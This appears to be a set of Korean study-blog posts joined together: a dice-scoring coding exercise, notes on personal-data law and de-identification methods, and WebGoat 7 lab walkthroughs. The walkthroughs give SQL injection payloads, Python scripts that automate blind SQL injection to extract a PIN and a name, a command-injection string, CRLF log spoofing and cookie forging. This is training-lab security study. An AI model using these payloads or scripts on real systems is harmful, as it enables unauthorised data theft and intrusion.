• 조건 5. 네 주사위에 적힌 숫자가 모두 다르다면, pqrs $$ a \not =b\ a \not =c\ a \not =d\ b \not =c\ b \not =d\ c \not =d\ Point = min(p, \ q, \ r, \ s) $$

코드 작성

차근차근 조건문을 활용해 작성해보자.

def solution(a, b, c, d):
    # 주사위 수를 저장할 리스트
    dice = [a, b, c, d]

    # 조건 1, 네 주사위의 값이 `p`로 모두 같을 때, `pppp`
    if len(set(dice)) == 1:
        return 1111 * a

    # 조건 2. 세 주사위의 값이 `p`, 나머지 하나가 `q`, `pppq`
    elif a==b and b==c and c!=d: return (10 * a + d)**2
    elif a==b and b==d and d!=c: return (10 * a + c)**2
    elif a==c and c==d and d!=b: return (10 * a + b)**2
    elif b==c and c==d and d!=a: return (10 * b + a)**2

    # 조건 3. 주사위가 두 개씩 같은 값이 나오고, 나온 숫자를 각각 `p, q`, `ppqq`
    elif a==b and b!=c and c==d: return (a + d) * abs(a - d)
    elif a==c and c!=b and b==d: return (a + d) * abs(a - d)
    elif a==d and d!=b and b==c: return (a + c) * abs(a - c)

    # 조건 4. 어느 두 주사위에서 나온 숫자가 `p`로 같고 나머지 두 주사위에서 나온 숫자가 각각 `p`와 다른 `q, r(q ≠ r)`, `ppqr`
    elif a==b and a!=c and a!=d and c!=d: return c * d
    elif a==c and a!=b and a!=d and b!=d: return b * d
    elif a==d and a!=b and a!=c and b!=c: return b * c
    elif b==c and b!=a and b!=d and a!=d: return a * d
    elif b==d and b!=a and b!=c and a!=d: return a * c
    elif c==d and c!=a and c!=b and a!=b: return a * b

    # 조건 5. 네 주사위에 적힌 숫자가 모두 다르다면, `pqrs`
    if len(set(dice)) == 4:
        return min(dice)

뭔가 복잡한 조건문일수록 의외로 예외처리만 잘 한다면 쉽게 풀리는 경우가 많은데, 이 문제의 경우는 예외처리를 하다가 하다가 잘 안 되는 바람에 모든 조건을 천천히 처음부터 써내려갔다. 조건 1번과 조건 5번의 경우는 set을 이용해 조금 더 간단하게 처리할 수 있었다.

개인정보란?

개인정보보호법 제2조 1호 제2조(정의) 이 법에서 사용하는 용어의 뜻은 다음과 같다.

1. “개인정보”란 살아있는 개인에 관한 정보로서 다음 각 목의 어느 하나에 해당하는 정보를 말한다. 가. 성명, 주민등록번호 및 영상 등을 통하여 개인을 알아볼 수 있는 정보 나. 해당 정보만으로는 특정 개인을 알아볼 수 없더라도 다른 정보와 쉽게 결합하여 알아볼 수 있는 정보. 이 경우 쉽게 결합할 수 있는지 여부는 다른 정보의 입수 가능성 등 개인을 알아보는 데 소요되는 시간, 비용, 기술 등을 합리적으로 고려하여야 한다. 다. 가목 또는 나목을 제1호의2에 따라 가명처리함으로써 원래의 상태로 복원하기 위한 추가 정보의 사용ㆍ결합 없이는 특정 개인을 알아볼 수 없는 정보(이하 “가명정보”라 한다.)

• 살아 있는 사망한 자, 법인, 단체 또는 사물에 관한 정보는 개인정보가 아니다.

• 개인에 관한 집단의 통계값 등은 개인정보가 아니다.

• 정보 정보의 종류, 형태, 성격, 형식 등에 관하여는 특별한 제한이 없다.

• 개인을 알아볼 수 있는 정보 이름, 전화번호, 주민번호, 이메일, 사진, 지문, 음성, 필체 등

• 다른 정보와 쉽게 결합하여 알아볼 수 있는 정보 주어진 정보의 재료들을 조합해 한 개인을 특정할 수 있으면 개인정보로 간주할 수 있다.

개인정보 이용 및 제공

개인정보는 수집 목적 범위에 해당하는지, 목적 외 이용/제공 근거에 해당하는지 판단하고 두 조건에 해당할 경우 가명처리 후 이용 및 제공이 가능하다.

가명정보

가명정보는 원래의 상태로 복원하기 위한 추가 정보의 사용 및 결합 없이는 특정 개인을 식별할 수 없는 정보를 말한다. 복원을 위한 추가 정보란 이름 혹은 주민등록번호 등의 개인정보를 임의의 다른 값으로 무작위 변경하는 것이 아니라 일정한 기준표 혹은 알고리즘을 통해 변경했을 때 기준표와 알고리즘이 추가 정보에 해당한다.

용어정리

개인정보

살아있는 개인에 관한 정보로서 다음의 정보를 포함한다.

• 성명, 주민등록번호 및 영상 등을 통하여 개인을 알아볼 수 있는 정보
• 해당 정보만으로는 특정 개인을 알아볼 수 없더라도 다른 정보와 쉽게 결합하여 알아볼 수 있는 정보

가명정보

개인정보를 가명처리 함으로써 원래의 상태로 복원하기 위한 추가정보의 사용 및 결합 없이는 특정 개인을 알아볼 수 없는 정보

익명정보

시간, 비용, 기술 등을 합리적으로 고려할 때 다른 정보를 사용하더라도 더 이상 개인을 알아볼 수 없는 정보

추가정보

개인정보의 전부 또는 일부를 대체하는 데 이용된 수단이나 방식(알고리즘 등),가명정보와의 비교ㆍ대조 등을 통해 삭제 또는 대체된 개인정보 부분을 복원할 수 있는 정보

개인정보 비식별

개인정보 개념과 활용 범위

안전하게 지키는 것만 생각하면 고려할 필요 없지만, 제공을 하는 관점에서 보면 개인정보를 기준에 맞게 구분해야 한다.

가명처리 절차

• 1단계 사전 준비: 목적의 적합성 확인 및 사전계획 수립
• 2단계 가명처리: 가명처리 수준정의 및 기술적 처리
• 3단계 적정성 검토: 검토 후 추가 가명처리가 필요한 경우 이전 단계로 회귀
• 4단계 활용 및 사후관리

Privacy by Design

• 프라이버시를 고려한 설계
• 프라이버시 관련 침해가 발생한 이후에 조치를 취하는 것이 아닌 프라이버시 위협을 예측· 예상하거나 가능성을 대비하여 서비스 기획·설계 단계 등 사전에 예방하는 개념

비식별 조치 기준

비식별 조치란 개인 식별 요소를 일부 삭제하거나 대체하는 것을 의미한다.

• 식별자 조치 기준 정보 집합물에 포함된 식별자는 원칙적으로 삭제한다. 단, 데이터 이용 목적상 반드시 필요한 식별자는 비식별 조치 이후 활용한다.

• 속성자 조치 기준 정보 집합물에 포함된 속성자도 데이터 이용 목적과 관련이 없다면 원칙적으로 삭제한다. 데이터 이용 목적의 속성자 중 식별 요소가 있는 경우에는 가명처리, 총계처리 등의 기법을 활용하여 비식별 조치한다.

• 식별자 예시 • 고유식별정보(주민등록번호, 여권번호, 외국인등록번호, 운전면허번호) • 성명(한자·영문 성명, 필명 등 포함) • 상세 주소(구 단위 미만까지 포함된 주소) • 날짜정보 : 생일(양/음력), 기념일(결혼, 돌, 환갑 등), 자격증 취득일 등 • 전화번호(휴대전화번호, 집전화, 회사전화, 팩스번호) • 의료기록번호, 건강보험번호, 복지 수급자 번호 • 통장계좌번호, 신용카드번호 • 각종 자격증 및 면허 번호 • 자동차 번호, 각종 기기의 등록번호 & 일련번호 • 사진(정지사진, 동영상, CCTV 영상 등) • 신체 식별정보(지문, 음성, 홍채 등) • 이메일 주소, IP 주소, Mac 주소, 홈페이지 URL 등 • 식별코드(아이디, 사원번호, 고객번호 등) • 기타 유일 식별번호 : 군번, 개인사업자의 사업자 등록번호 등

• 속성자 예시

비식별 조치 방법

• 가명, 익명 처리 기술 가명, 익명 처리 기술은 크게 세 가지로 분류할 수 있다. 첫 번째는 개인정보에 해당하는 부분을 삭제하는 삭제, 두 번째는 여러 개의 데이터를 종합해서 표현하는 요약, 마지막 세 번째는 속성은 그대로 살리고 임의의 다른 값으로 대체하는 대체가 있다.

삭제

개인정보 삭제는 개인 식별이 가능한 데이터를 삭제 처리 하는 것이다. 보통 삭제 대상은 식별자라고 하는, 하나의 정보만 있어도 개인을 특정할 수 있는 정보들이다. 삭제 기법의 장점은 개인을 식별할 수 있는 요소 자체를 삭제해버린다는 것이고, 단점은 분석의 다양성과 분석 결과의 유효성 및 신뢰성을 저하시키는 것이다. 삭제 기술에는 식별자 삭제, 식별자 부분삭제, 레코드 삭제, 식별요소 전부삭제 등이 있다.

• 식별자 삭제: 원본 데이터에서 식별자를 단순 삭제하는 방법이다.
  • 식별자 삭제 예시
• 식별자 부분 삭제: 식별자 전체를 삭제하는 것이 아니라, 해당 식별자의 일부를 삭제
  • 식별자 부분 삭제 예시: (서울특별시 송파구 가락본동 78번지 → 서울시 송파구)
• 레코드 삭제: 다른 정보와 뚜렷하게 구별되는 레코드 전체를 삭제하는 방법
  • 레코드 삭제 예시 - 행 삭제
  • 레코드 삭제 예시 - 로컬 삭제
  • 마스킹 예시
• 식별요소 전부 삭제: 식별자뿐만 아니라 잠재적으로 개인을 식별할 수 있는 속성자까지 전부 삭제하여 프라이버시 침해 위험을 줄이는 방법

요약

• 총계처리: 데이터 전체 또는 부분을 집계(총합, 평균 등) 단, 데이터 전체가 유사한 특징을 가진 개인으로 구성되어 있을 경우 그 데이터의 대푯값이 특정 개인의 정보를 그대로 노출시킬 수도 있으므로 주의
  • 총계처리 예시
  • 부분총계: 데이터 셋 내 일정부분 레코드만 총계 처리함. 즉, 다른 데이터 값에 비하여 오차 범위가 큰 항목을 통계값(평균 등)으로 변환
    • 부분총계 예시
  • 라운딩: 집계 처리된 값에 대하여 라운딩(올림, 내림, 사사오입) 기준을 적용하여 최종 집계 처리하는 방법으로, 일반적으로 세세한 정보보다는 전체 통계정보가 필요한 경우 많이 사용
    • 라운딩 예시 - 일반 라운딩
  • 재배열: 기존 정보값은 유지하면서 개인이 식별되지 않도록 데이터를 재배열하는 방법으로, 개인의 정보를 타인의 정 보와 뒤섞어서 전체 정보에 대한 손상 없이 특정 정보가 해당 개인과 연결되지 않도록 하는 방법

• 데이터 범주화: 특정 정보를 해당 그룹의 대푯값으로 변환(범주화)하거나 구간 값으로 변환(범주화)하여 개인 식별을 방지
  • 감추기: 명확한 값을 숨기기 위하여 데이터의 평균 또는 범주값으로 변환. 단, 특수한 성질을 지닌 개인으로 구성된 단체 데이터의 평균이나 범주값은 그 집단에 속한 개인의 정보를 쉽게 추론할 수 있음
  • 랜덤 라운딩: 수치 데이터를 임의의 수 기준으로 올림(round up) 또는 내림(round down)하는 기법
    • 랜덤 라운딩 예시
  • 범위 방법: 수치데이터를 임의의 수 기준의 범위(range)로 설정하는 기법으로, 해당 값의 범위(range) 또는 구간(interval)으로 표현
    • 범위 방법 예시: 소득 3,300만원을 소득 3,000만원∼4,000만원으로 대체 표기
  • 제어 라운딩: ‘랜덤 라운딩’ 방법에서 어떠한 특정값을 변경할 경우 행과 열의 합이 일치하지 않는 단점 해결을 위해 행과 열이 맞지 않는 것을 제어하여 일치시키는 기법, 하지만 컴퓨터 프로그램으로 구현하기 어렵고 복잡한 통계표에는 적용하기 어려우며, 해결할 수 있는 방법이 존재하지 않을 수 있어 아직 현장에서는 잘 사용하지 않음
    • 제어 라운딩 예시

대체

• 가명처리: 개인 식별이 가능한 데이터를 직접적으로 식별할 수 없는 다른 값으로 대체하는 기법
  • 휴리스틱 가명화: • 식별자에 해당하는 값들을 몇 가지 정해진 규칙으로 대체하거나 사람의 판단에 따라 가공하여 자세한 개인정보를 숨기는 방법
    • 휴리스틱 가명화 예시: 성명을 홍길동, 임꺽정 등 몇몇 일반화된 이름으로 대체하여 표기하거나 소속기관명을 화성, 금성 등으로 대체하는 등 사전에 규칙을 정하여 수행
  • 암호화: 정보 가공시 일정한 규칙의 알고리즘을 적용하여 암호화함으로써 개인정보를 대체하는 방법, 통상적으로 다시 복호가 가능하도록 복호화 키(key)를 가지고 있어서 이에 대한 보안방안도 필요(키 관리/분배 문제)
    • 양방향 암호화: 대칭키, 공개키 암호화
    • 일방향 암호화: 암호학적 해시함수

• 무작위화 기술: 속성의 값을 원래의 값과 다르게 변경
  • 잡음 추가
  • 순열(치환): 기존 값은 유지하면서 개인이 식별되지 않도록 데이터를 재배열하는 방법
  • 토큰화: 개인을 식별할 수 있는 정보를 토큰으로 변환 후 대체함으로써 개인정보를 직접 사용하여 발생하는 개인에 대한 식별 위험을 제거하여 개인정보를 보호하는 기술

Blind SQL Injection이란?

이번에는 저번에 다루지 못했던 Blind SQL Injection에 대해서 살펴보자. Blind SQL Injection은 SQL Injection의 종류이지만, 말 그대로 Blind, 즉 특정 값이나 테이블, 데이터베이스의 정보가 없는 상황에서 정보를 뽑아내는 기법이다.

Blind SQL Injection은 and연산을 이용하여 화면상에 출력되는 결과를 보고 값을 추정하는 기법이다. 바로 실습으로 들어가보자.

Blind SQL Injection 실습

Blind Numeric SQL Injection

이 문제의 목표는 pins라는 테이블에서 cc_number가1111222233334444인 사람의 pin값을 가져오는것이 목표이다. 우선 기본으로 적혀있는 101을 전송해보자.

Account number is valid.

결과는 Account number가 valid하다고 한다. 그렇다면 다른 수도 넣어보자. 5555라는 값을 입력했더니 Invalid한 번호라고 나온다.

여기서 추론할 수 있는 부분은 앞의 쿼리는 어떤 형식인지 모르겠지만, 기존쿼리 where account_number=?의 형식이라고 생각할 수 있다. 그렇다면 기존쿼리 where account_number=101의 논리가 참이므로 and연산을 이용해 뒤에 특정 조건문 혹은 쿼리를 붙일 수 있다.

기존쿼리 where account_number=101 and (select pin from pins where cc_number='1111222233334444') > 0

라는 식으로 쿼리문을 전송한 후 결과를 살펴보자. valid하다고 나온다. 그렇다면 5000을 넣어보자. Invalid라는 결과가 나온다.

따라서 우리는 select pin from pins where cc_number='1111222233334444'라는 쿼리의 결과가 0보다 크고 5000보다 작다는 걸 알 수 있다. 이 과정을 반복해서 줄여나가보면 문제를 풀 수 있다.

Blind String SQL Injection

이번 문제의 목표는 아까처림 pin이 아닌 name을 추출하는 것이다. 문자열 추출을 위해서는 쿼리문의 substring함수에 대해 알아야 하는데, substring함수의 사용법은 다음과 같다.

주어진 문자열이 security라고 가정해보자. substring의 사용법은 substring(문자열, 시작 인덱스(1부터 시작), 가져올 문자의 개수)형식이다. 즉, substring('security', 1, 1)은 security의 첫번째 글자부터 1개를 가져오는 것이므로 s에 해당한다.

해당 방식으로 문자를 한개씩 추출한 다음, 문자의 아스키 값을 비교하여 해당 문자를 특정하는 것이다. 첫번째 글자를 추출해보자. 101 and substring(select name from pins where cc_number='4321432143214321', 1, 1) > 'A'라는 쿼리를 보내니 valid가, 101 and substring(select name from pins where cc_number='4321432143214321', 1, 1) > 'a'라는 쿼리를 보내니 invalid가 나오는 것을 보면 첫번째 문자는 A보다 크고 a보다 작은 것을 알 수 있다. 이러한 방법으로 진행하다보면 답을 찾을 수 있다.

Blind SQL Injection with Python

Blind Numeric SQL Injection

손으로 하나하나 찾아도 위의 두 문제 같은 경우는 쉽게 찾을 수 있지만, 만약 문자열의 길이가 길거나 찾기 어려운 경우는 python을 이용하는 것이 효율적일 수 있다. 첫 번째 문제부터 풀어보자.

import requests
from bs4 import BeautifulSoup

url = 'http://webgoat7.com/WebGoat/attack?Screen=586116895&menu=1100'
cookies = {'JSESSIONID':'27ECDE6D05CC10D2041A0D3673AEA3ED'}
post_data = {'account_number':'101', 'SUBMIT':'Go!'}
response = requests.post(url, cookies=cookies, data=post_data)
html = response.text
soup = BeautifulSoup(html, 'html.parser')
print(soup.prettify())

해당 문제의 url과 cookie, 그리고 POST방식으로 전송하는 데이터를 모두 넣어 Python으로 접속한 후 출력해보았다. 정상적으로 잘 접속되는 것을 볼 수 있다. 이제 우리가 필요한 부분을 추출해보자. 우리가 필요한 부분은 입력한 쿼리에 따라 변하는 부분이므로 해당 부분을 개발자 도구를 이용해서 추출해주겠다. 해당 부분인 Account number is valid를 inspect하여 셀렉터를 복사한 후 추출해보자.

target_sentence = soup.select('#lesson-content-wrapper > div:nth-child(3) > form:nth-child(1) > p:nth-child(2)')
print(target_sentence)

분명히 셀렉터를 복사해서 출력했지만 아무것도 나오지 않는다. 그렇다면 아까 전의 결과 화면에서 타겟 문장이 p태그 내부에 있었기 때문에 p태그를 모두 찾아서 출력해보자.

target_sentence = soup.find_all('p')
print(target_sentence)

p태그는 정상적으로 잘 출력됐다. 우리가 찾는 문장은 리스트의 맨 마지막 인덱스에 위치해있으므로 따로 추출해주도록 하자.

target_sentence = soup.find_all('p')[-1].text
print(target_sentence)

타겟 문장을 성공적으로 추출한 모습이다. 이제 전송할 post_data에 쿼리문을 삽입한 후 반복문을 이용해서 답을 찾아보자.

import requests
from bs4 import BeautifulSoup

url = 'http://webgoat7.com/WebGoat/attack?Screen=586116895&menu=1100'
cookies = {'JSESSIONID':'27ECDE6D05CC10D2041A0D3673AEA3ED'}

# 타겟 문장의 결과를 저장할 리스트
flags = []
# 타겟 변수
pin = 0

for i in range(100000):
    post_data = {"account_number":"101 and (select pin from pins where cc_number='1111222233334444' > %d)"%i, "SUBMIT":"Go!"}
    response = requests.post(url, cookies=cookies, data=post_data)
    html = response.text
    soup = BeautifulSoup(html, 'html.parser')
    flags.append(soup.find_all('p')[-1].text)

    if i > 0:
        if flags[i] != flags[i-1]:
            pin = i
            break

print(f'pin: {pin}')

넉넉하게 루프를 10만으로 설정한 후, 값을 올려가면서 서버에 쿼리를 던지고 결과로 나오는 타겟 문장들을 flags리스트에 저장했다. 만약 이전 루프에서 저장한 flag와 현재 루프의 flag가 다르다면 반복문을 빠져나오고 pin을 출력하는 방식이다. 잘 동작하는것을 볼 수 있다.

Blind String SQL Injection

같은 방법으로 지난 글에서 사용했던 쿼리문을 전송해보자. 우선 반복문을 작성하기 전에 우리의 타겟문장부터 추출해보자.

import requests
from bs4 import BeautifulSoup

url = 'http://webgoat7.com/WebGoat/attack?Screen=1315528047&menu=1100'
cookies = {'JSESSIONID': '27ECDE6D05CC10D2041A0D3673AEA3ED'}
post_data = {'account_number': "101 and substring(select name from pins where cc_number = '4321432143214321', 1, 1) > 'A'", 'SUBMIT': 'Go!'}
response = requests.post(url, cookies=cookies, data=post_data)
html = response.text
soup = BeautifulSoup(html, 'html.parser')

target_sentence = soup.find_all('p')[-1].text
print(target_sentence)

동일한 방식으로 잘 추출할 수 있었다. 우선 기본적으로 이 문제의 답을 알고 있는 상황이고, 문제의 답은 알파벳 안에 있기 때문에 탐색 범위를 알파벳으로 한정해보자. alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'라는 문자열 변수를 선언한 후 해당 문자열의 요소에 대해서만 반복문을 실행한다.

import requests
from bs4 import BeautifulSoup

alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'

url = 'http://webgoat7.com/WebGoat/attack?Screen=1315528047&menu=1100'
cookies = {'JSESSIONID': '27ECDE6D05CC10D2041A0D3673AEA3ED'}

answer = []

for i in range(1, 100):

    flags = []

    for char in alphabet:
        post_data = {'account_number': "101 and substring(select name from pins where cc_number = '4321432143214321', " + str(i) + ", 1) >= '" + char + "'", 'SUBMIT': 'Go!'}
        response = requests.post(url, cookies=cookies, data=post_data)
        html = response.text
        soup = BeautifulSoup(html, 'html.parser')

        flags.append(soup.find_all('p')[-1].text)

        if 'Account number is valid' not in flags:
            break

        elif flags[len(flags) - 1] != flags[len(flags) - 2]:
            answer.append(alphabet[alphabet.index(char) - 1])

print(''.join(answer))            

바깥 루프를 한번씩 실행할 때마다 각 문자들에 대한 플래그를 저장하고, 마지막으로 저장한 플래그와 그 이전에 저장한 플래그가 다르면 해당 문자의 이전 문자를 answer에 추가한 후 루프가 끝나고 출력했다. 답이 잘 출력되는것을 확인할 수 있다.

OWASP(Open Web Application Security Project)

WAS에서 발생할 수 있는 위험들에 대해 연구하는 오픈 소스 프로젝트로서 3~4년 마다 OWASP Top 10이라는 웹 애플리케이션 10대 주요 취약점을 발표한다.

OWASP Top 10 List

PROXY

원격 프록시

클라이언트 외부에 프록시 서버가 존재하는 것을 의미한다. 클라이언트의 IP주소를 숨길 수 있다.

로컬 프록시

클라이언트 PC내에 설치하는 프록시이다. 클라이언트-서버 통신간에 HTTP통신을 분석 및 변조하는 데 사용할 수 있다. 대표적인 도구로는 BurpSuite, Zed Attack Proxy(ZAP)등이 있다. 웹 해킹 실습에 이용할 예정이다.

취약점의 이해

취약점이 발생하는 이유

위 그림에서 버그는 프로그래머의 의도와 달리 설계상의 오류가 발생하는 부분을 의미하고 취약점은 버그 중에서도 정보보안의 3요소(기밀성, 무결성, 가용성)을 위협하는 부분을 의미한다. 모든 프로그래머가 프로그램을 설게할 때 완벽하게 설계할 수 없기 때문에 취약점은 항상 발생할 수밖에 없다.

SQL Injection

SQL Injection은 데이터베이스와 연동된 애플리케이션에서 입력된 데이터에 대한 유효성 검증을 하지 않을 경우, 공격자가 입력 데이터에 SQL Query를 삽입하여 데이터베이스로부터 정보를 열람하거나 조작할 수 있는 보안 취약점이다.

SQL Injection 원리

SQL Injection의 공격 쿼리문들은 보통 논리적 오류를 발생시키는 쿼리문들이다.

SQL Injection 실습

실습 환경은 이전 네트워크 공격 실습에 활용했던 VROOM환경을 그대로 이용한다. OWASP에서 개발한 OWASP Top 10취약점에 대한 웹해킹 실습을 할 수 있는 WebGoat7을 기반으로 진행한다.

위 문제는 모든 지역의 날씨 데이터를 가져오는 문제이다. 따로 입력할 수 있는 텍스트 박스가 없고 Go!버튼을 눌러 데이터를 전송하는 형식인 것 같으니, 우선 BurpSuite를 켜서 데이터가 어떻게 전송되는지 확인해보자. BurpSuite에서 Intercept옵션을 활성화한 뒤 Go!버튼을 눌러보았다.

POST /WebGoat/attack?Screen=101829144&menu=1100 HTTP/1.1
Host: webgoat7.com
Content-Length: 22
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://webgoat7.com
Referer: http://webgoat7.com/WebGoat/start.mvc
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: JSESSIONID=538A37330CE5AB846B3EFA27B44CE7F9
Connection: close

station=101&SUBMIT=Go!

맨 아래 station=101&SUBMIT=Go!가 데이터를 전송하는 부분임을 알 수 있다. station파라미터에 임의의 값(1234)을 넣어보자.

SELECT * FROM weather_data WHERE station = 1234

문제 하단에 표시되는 SQL구문 힌트가 1234로 업데이트 됨을 볼 수 있다. 그렇다면 삽입할 SQL쿼리도 해당 부분에 삽입됨을 알 수 있다. '' or 1=1쿼리를 삽입해보자. weather_data의 모든 데이터가 불러와진 것을 확인할 수 있다. String SQL Injection문제도 풀어보자. 이 문제의 목적은 모든 사용자의 카드번호를 불러오는 것이다. 이전 문제와 입력창이 존재하고, 입력값을 전송했을 때 입력값의 양 옆에 따옴표가 붙는 것을 알 수 있다. 이것을 잘 이용해서 쿼리문을 넣어보자. 입력값 양 옆에 안 보이는 따옴표가 있다고 생각하고 ' or '1'='1이라는 쿼리를 넣어보도록 하겠다. 깔끔하게 잘 풀린 것을 볼 수 있다. 조금 더 어려운 문제들로 넘어가보자. 우선 아까와 마찬가지로 입력창이 존재하는데, 아무 값이나 넣은 후 BurpSuite에서 확인해보자.

employee_id=101&password=1234&action=Login

의 형태로 데이터를 전송하게 되는데, employee_id가 사용자의 번호인 것 같고 password에 내가 입력한 데이터가 들어간다. 따라서 password에 무언가 '참'을 만들 수 있는 쿼리를 넣어본다면? 이라는 생각이 든다.

사용자를 Neville로 바꾼 후, 이전 문제와 동일한 쿼리를 BurpSuite를 이용해 날려보았다.

employee_id=101&password=' or '1'='1&action=Login

Neville의 계정으로 접속이 잘 된 모습을 확인할 수 있다. 이 문제는 Larry로 접속해서 보스인 Neville의 정보를 조회하는 것이 목표이다. 우선 방금 전과 같은 방법으로 로그인해보자. 이러한 화면이 보이게 되는데, 우리가 보아야 할 곳은 ViewProfile인 것 같다. BurpSuite로 인터셉트를 잡고 눌러보자.

employee_id=101&action=ViewProfile

의 형식으로 데이터가 날아가는데, 조작할만한 부분은 employee_id=101인 것 같다. 우선 이전의 문제를 푸는 과정에서 Neville의 employee_id가 112번인 것을 확인할 수 있다. 먼저 그냥 112를 넣어보자. 에러가 발생하는 것을 보니 단순 값 변경으로는 불가한 것 같다. 쿼리를 넣어야 하는데, 이번에는 다른 문제들처럼 쿼리문이 주어져 있지 않아서 쿼리문을 예측을 해야한다. 쿼리문을 예측하려면 우선 테이블 이름부터 알아야 하는데, employee_id라는 파라미터에서 추측해볼 수 있는 테이블명은 employee정도가 될 수 있을 것 같다. 쿼리문의 형태를 예측해보자면 employee_id를 입력 받아서 해당 직원의 프로필을 보여주는 것이므로 select * from employee where employee_id = ?의 형태가 될 것 같다. 보스인 Neville의 id를 가장 하단에서 선택할 수 있는 것으로 유추해보아 아마 데이터가 가장 하단에 위치할 확률이 높다. 따라서 employee_id를 기준으로 내림차순 정렬을 해보자. 삽입할 쿼리문은 101 or 1=1 order by employee_id desc이다. Neville의 프로필이 잘 보이는 것을 확인할 수 있다. 이 외에도 Blind SQL Injection에 관한 내용도 있지만 다룰 부분이 많아 다음 글에서 다루도록 하겠다.

Command Injection

Command Injection은 말 그대로 명령어를 삽입하는 공격이다. 사용자의 입력 값이 운영체제 명령어로 실행되는 경우 의도치 않은 시스템 명령어가 실행돼 부적절하게 권한이 변경되거나 시스템 동작 및 운영에 악영향을 줄 수 있다. 일반적으로 명령어 라인의 파라미터나 스트림 입력 등 외부 입력을 사용하여 시스템 명령어를 생성하는 프로그램에서 발생한다.

Command Injection 실습

우선 입력창이 없으니 기본적으로 BurpSuite 프록시로 데이터가 전송되는 모양을 살펴보자.

HelpFile=AccessControlMatrix.help&SUBMIT=View

데이터는 위와 같은 모양으로 전송된다. 결과를 살펴보자.

ExecResults for '[/bin/sh, -c, cat "/home/webgoat/.extract/webapps/WebGoat/plugin_extracted/plugin/CommandInjection/resources/AccessControlMatrix.html"]'
Output...

결과를 보면 AccessControlMatrix.help라는 데이터가 전송되면 AccessControlMatrix.html을 cat명령어로 보여주는 식의 동작 방식인 것 같다. 리눅스에서는 세미 콜론(;)을 사용하면 이전 명령어의 실행 여부와 관계없이 뒤에 위치한 명령어를 실행할 수 있다. 이 정보를 이용해서 알맞은 명령어 구문을 날려보자. 우선 ;ls 구문을 날려보자.

ExecResults for '[/bin/sh, -c, cat "/home/webgoat/.extract/webapps/WebGoat/plugin_extracted/plugin/CommandInjection/resources/AccessControlMatrix.html;ls"]'
Returncode: 1
Bad return code (expected 0)

모양을 살펴보니 ;ls뒤에 큰 따옴표가 하나 붙어있다. 그렇다면 큰 따옴표를 신경써서 ";"ls라는 명령어를 날려보자. Command Injection이 성공적으로 진행되었다.

Log Spoofing 실습

Log Spoofing은 말 그대로 로그를 변조하는 공격이다. admin이 로그인 했던 것처럼 로그를 변조하는것이 목표인 문제이다. 우선 그냥 admin으로 로그인해보자. 로그인이 실패했다는 로그가 남았다. 그렇다면 입력창 내부에서 개행을 한 후 똑같은 문자열을 입력해주면 되지 않을까? 입력창 내부 개행은 %0d%0a로 진행해준다. admin%0d%0aLogin successed for username: admin를 입력해보자 성공적으로 admin이 로그인 했다는 허위 로그를 남길 수 있었다.

쿠키(Cookie)

쿠키는 사용자의 웹 브라우저에 저장되는 작은 기록 정보 파일이다. 중요한 점은 웹 브라우저에 저장된다는 점이다. 저장된 정보를 다른 사람이 확인 가능하며, 유효시간이 지나면 사라진다. 쿠키를 사용하는 목적은 우선 세션 관리의 관점이 있고, 브라우저 개인 맞춤화, 트래킹 등의 목적이 있다.

Spoof and Authentication Cookie 실습

사용자는 webgoat/webgoat, aspect/aspect로 로그인할 수 있고, alice의 쿠키를 알아내어 계정을 전환하는것이 목표이다.

우선 각 계정의 쿠키값을 알아보자. webgoat의 쿠키값은 65432ubphcfx이다. aspect의 쿠키값은 65432udfqtb이다.

이 둘 사이에서의 규칙을 찾은 후 alice의 쿠키값을 유추하는 문제로 보인다. webgoat:65432ubphcfx aspect:65432udfqtb alice:?

webgoat과 aspect의 공통점은 둘 다 t로 끝난다는 것이고, 각각의 쿠키값의 공통점은 65432로 시작하고u로 시작한다는 점이다. 이러한 규칙으로 유추할 수 있는 부분은 각각의 문자를 알파벳 순서상 다음 문자로 변환한 후 반전시켰다는 것이다. 이러한 규칙으로 미루어보아 alice의 쿠키는 65432fdjmb로 유추할 수 있다. 개발자 도구를 이용해 쿠키값을 변경한 후 새로고침해보자. 로그인에 성공했다.

세션(Session)

HTTP Session ID를 식별자로 구별하여 데이터를 사용자의 브라우저에 쿠키형태로 저장하는 것이 아닌 접속한 서버 DB에 저장한다. 세션 ID만 웹 브라우저에 저장되고 다른 정보들은 서버에 저장된다. 하지만 쿠키가 탈취되는 것 처럼 세션 ID도 탈취당하면 공격자가 해당 세션으로 접속할 수 있다. 하지만 사용자가 해당 웹 서버에서 로그아웃하게되면 세션 ID를 탈취한 공격자의 브라우저에서도 로그아웃된다.

크로스 사이트 스크립팅(Cross Site Scripting, XSS)

웹 페이지에 악의적인 스크립트를 삽입하여 피해자의 브라우저에서 실행되게 유도하는 공격 기법이다.

• Reflect XSS 공격자가 피해자의 이메일로 피싱 URL을 전달하고 피해자가 해당 링크를 클릭하게 되면 악성 스크립트가 담긴 응답 메시지를 서버로부터 받게된다. 공격자의 서버에서 피해자의 PC로 공격 스크립트가 전달되는 방식이고, 서버에 로그가 남지 않는 것이 특징이다.

• Stored XSS 공격자가 서버에 스크립트가 담긴 게시글 등을 등록한 후 피해자가 해당 게시글을 열람하게 되면 악성 스크립트가 실행되는 방식이다. 무작위 공격에는 편하지만 서버에 로그가 남는 것이 특징이다.

XSS 실습

• Stored XSS 입력창에 스크립트를 삽입하여 alert을 뛰워보자.

• Reflect XSS 비슷한 방식으로 모든 입력창에 스크립트를 삽입한다. UpdateCart버튼을 누르면 스크립트가 실행된다.

크로스사이트 요청 위조(Cross Site Request Forgery,CSRF)

불특정 다수를 대상으로 로그인 된 사용자가 자신의 의지와는 무관하게 공격자가 의도한 행위(수정, 삭제, 등록, 송금 등)를 하게 만드는 공격이다.

